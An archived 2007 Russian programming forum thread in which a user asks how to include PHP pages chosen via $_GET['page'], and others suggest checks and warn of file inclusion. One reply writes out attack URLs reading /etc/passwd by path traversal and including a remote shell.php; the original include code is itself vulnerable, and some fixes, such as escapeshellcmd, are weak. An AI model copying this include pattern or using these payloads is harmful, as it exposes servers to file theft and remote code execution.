Нижегородский Форум Друзей

Нижегородский Форум Друзей (http://forum.nnov.org/)
-   Языки и программирование (http://forum.nnov.org/obsuzhdaem-i-kachaem/soft/yazyki-i-programmirovanie/)
-   -   Вопрос по $_GET на PHP. (http://forum.nnov.org/obsuzhdaem-i-kachaem/soft/yazyki-i-programmirovanie/6616-vopros-po-_get-na-php.html)

Tretyak 25.06.2007 11:17

Вопрос по $_GET на PHP.
 
Вот к примеру юзаю такую конструкцию:

<?php
$page = $_GET['page'];
echo " <li><a href=/files/qwerty.doc>Главная </a></li>
<li><a href=\"?page=1.php\">Лабы</a></li>
<li><a href=\"?page=lekcii.php\">Лекции</a></li>
";
?>


Потом в нужном слое подключаю страницу вот так:

<?php include("$page");?>

Естественно при первом заходе на страницу возникает ошибка, т.к. в $_GET['page'] ничего еще не передано, когда начинаю по ссылкам ходить - все нормально. Как исправить? Собственно интересует, как сделать, чтобы адреса в браузере писались типа так "http://seras.awarded.in/?set=muzon" .

P.S.: ссылки на учебники не давать :), имеются в наличии.

freelsd 25.06.2007 15:19

[PHP]<?php

// проверяем, есть ли вообще в массиве $_GET элемент "page"

if ( isset ( $_GET [ "page" ] ))
{
$filename = escapeshellcmd ( $_GET [ "page" ] ); // получаем имя файла, попутно избавляемся от спец-символов

// проверяем существование файла, который надо подключить

if ( is_file ( $filename ))
{
// подключаем нужный файл
include ( $filename );
}
else
{
// выводим сообщение, что файла такого нет
print "Страница не найдена";
}
}
else // если в $_GET ничего не передается
{
print "Неверный URL.";
}
[/PHP]

CRAZY 25.06.2007 20:42

шобы сделать, чтобы адреса в браузере писались типа так "http://seras.awarded.in/?set=muzon" , существует 2 метода форм - это method=post, и method=get (это в хтмл), пользовался на перле...

Tretyak 25.06.2007 20:58

2freelsd.
Спасибо, попробую.

2Crazy.
Это понятно блин ;), ты написал бы КАК это сделать, пример конкретный.

CRAZY 25.06.2007 22:00

Вот так было в мойом скрипте перлоффском:
<form action="/cgi-bin/index.cgi" method="post или get">
ИМЯ:<input type="text" name="name" action="http://localhost/cgi-bin/index.cgi">
</input>
<br>ПАРОЛЬ: <input type="password" name="pass" action="http://localhost/cgi-bin/index.cgi">
</input>
<br><input name="submit" type="submit" value="ОТПРАВИТЬ">
</input>
</form>

Spyder 25.06.2007 22:16

2 ТопикСтартер
Это самописный двиг или паблик?
[Для просмотра данной ссылки нужно зарегистрироваться])
SeRaS-Home / Произошла ошибка!
Вам закрыт доступ на сайт. Причина: Попытка внедрить XXS

Что такое XXS? Может XSS? =)

Tretyak 26.06.2007 01:08

Самописный баг :).

2Крейзи.
У меня-то не форма, а просто ссылки или я чего-то не догоняю.

Crantisz 26.06.2007 02:07

собственно freelsd все правильно написал, от себя лишь хочется добавить, что я бы не выводил сообщения об ошибке, а просто сделал бы редерект на нужный адрес с соответствующим параметром.
Делается это так
Код:

header("Location: http://www.adress.ru/index.php?page=1.php");

sidor 26.06.2007 10:22

Аккуратнее только с такими конструкциями, ибо таким макаром человек может запросить любую страницу с сервера, например так:
[Для просмотра данной ссылки нужно зарегистрироваться]
А это не есть гут...

dimazzz 26.06.2007 13:34

немного дополню код freelsd

[php]
<?php

// проверяем, есть ли вообще в массиве $_GET элемент "page"

if ( isset ( $_GET [ "page" ] ))
{
$filename = escapeshellcmd ( $_GET [ "page" ] ); // получаем имя файла, попутно избавляемся от спец-символов

//добавим расширение к имени файла
$filename .= ".php";
// проверяем существование файла, который надо подключить

if ( is_file ( $filename ))
{
// подключаем нужный файл
include ( $filename );
}
else
{
// выводим сообщение, что файла такого нет
print "Страница не найдена";
}
}
else // если в $_GET ничего не передается
{ //то выводим html форму
$string = <<<HTML;
<form action="" method="get" onchange="submit()">
<select name="page">
<option value="lekcii">Лекции</option>
<option value="knigi">Книги</option>
</select>
</form>
HTML;
print $string;
}
[/php]

в итоге по запросу адреса [Для просмотра данной ссылки нужно зарегистрироваться]
будет подгружаться файл knigi.php

Spyder 26.06.2007 17:27

Цитата:

Аккуратнее только с такими конструкциями, ибо таким макаром человек может запросить любую страницу с сервера, например так:
[Для просмотра данной ссылки нужно зарегистрироваться]
А это не есть гут...
Тогда уж
Код:

http://www.adress.ru/index.php?page=../../../../../etc/passwd
или ещё лучше
Код:

http://www.adress.ru/index.php?page=http://megaxeksite.narod.ru/shell.php
=)
Ну в данном случае не катит, я проверял =)

freelsd 27.06.2007 01:18

ну, если мы тут вообще разводим "в гостях у сказки", тогда и проверять лучше не $filename . ".php", а dirname( __FILE__ ) . "/" . $filename, и выводить файлы стал бы не через include, а через strip_tags ( file_get_contents ( $filename ) , "<p><b><i><u><a><img><h1>..." );

Tretyak 27.06.2007 13:47

Спасибо, парни.

Tretyak 27.06.2007 14:13

Цитата:

Сообщение от sidor (Сообщение 88553)
Аккуратнее только с такими конструкциями, ибо таким макаром человек может запросить любую страницу с сервера, А это не есть гут...

Резонный вопрос: "зачем тогда их используют, в чем преимущество перед обычными <a href="kwfdsf.php">ssdf</a>? "


Конструкция dimazzz`a выдает ошибку: "Parse error: parse error, unexpected T_SL in z:\home\[Для просмотра данной ссылки нужно зарегистрироваться] on line 100". Строчка 100 - вот эта

$string = <<<HTML;

Spyder 27.06.2007 15:46

Цитата:

Резонный вопрос: "зачем тогда их используют, в чем преимущество перед обычными <a href="kwfdsf.php">ssdf</a>? "
Инклуд удобная функция, но опасная
Можно сделать так, создай на серве папку, например /includes/ и заливаешь туда свои файлы, которые нужно инклудить через $_GET
Естественно изменяешь скрипт с
include ( $filename );
на
include ( "/includes/"$filename );

Ещё можно добавить фильтрацию некоторых символов, например: "\" "/" "." ":"
Их часто используют при проведении PHP-Injection

dimazzz 27.06.2007 16:18

Цитата:

Сообщение от Tretyak (Сообщение 89767)
Резонный вопрос: "зачем тогда их используют, в чем преимущество перед обычными <a href="kwfdsf.php">ssdf</a>? "


Конструкция dimazzz`a выдает ошибку: "Parse error: parse error, unexpected T_SL in z:\home\[Для просмотра данной ссылки нужно зарегистрироваться] on line 100". Строчка 100 - вот эта

$string = <<<HTML;

ну естественно! убери сивол ";" в конце 100 строки :)
прошу прощенья - на автомате поставил :)

Tretyak 27.06.2007 17:01

А что она хоть делает эта строка тогда?

dimazzz 27.06.2007 17:07

все, начиная со строки
$string = <<<HTML
и заканчивая строкой
HTML;
будет восприниматься php как html код и будет помещено в переменную $string;
а потом мы просто выводим переменную $string

Tretyak 27.06.2007 17:14

Все равно ругается на $string = <<<HTML, "Parse error: parse error, unexpected T_SL.

dimazzz 28.06.2007 08:53

Цитата:

Сообщение от Tretyak (Сообщение 89896)
Все равно ругается на $string = <<<HTML, "Parse error: parse error, unexpected T_SL.

Убедись, что на срочке $string = <<<HTML
больше ничего нет после HTML
тогда заработает


Часовой пояс GMT +3, время: 07:09.

Powered by vBulletin® Version 3.7.3
Copyright ©2000 - 2025, Jelsoft Enterprises Ltd. Перевод:
Search Engine Friendly URLs by vBSEO 3.6.0zCarot
© 2005—2015 ООО «Интернет компания ННОВ.РУ», friends.nnov.ru
Реклама на форуме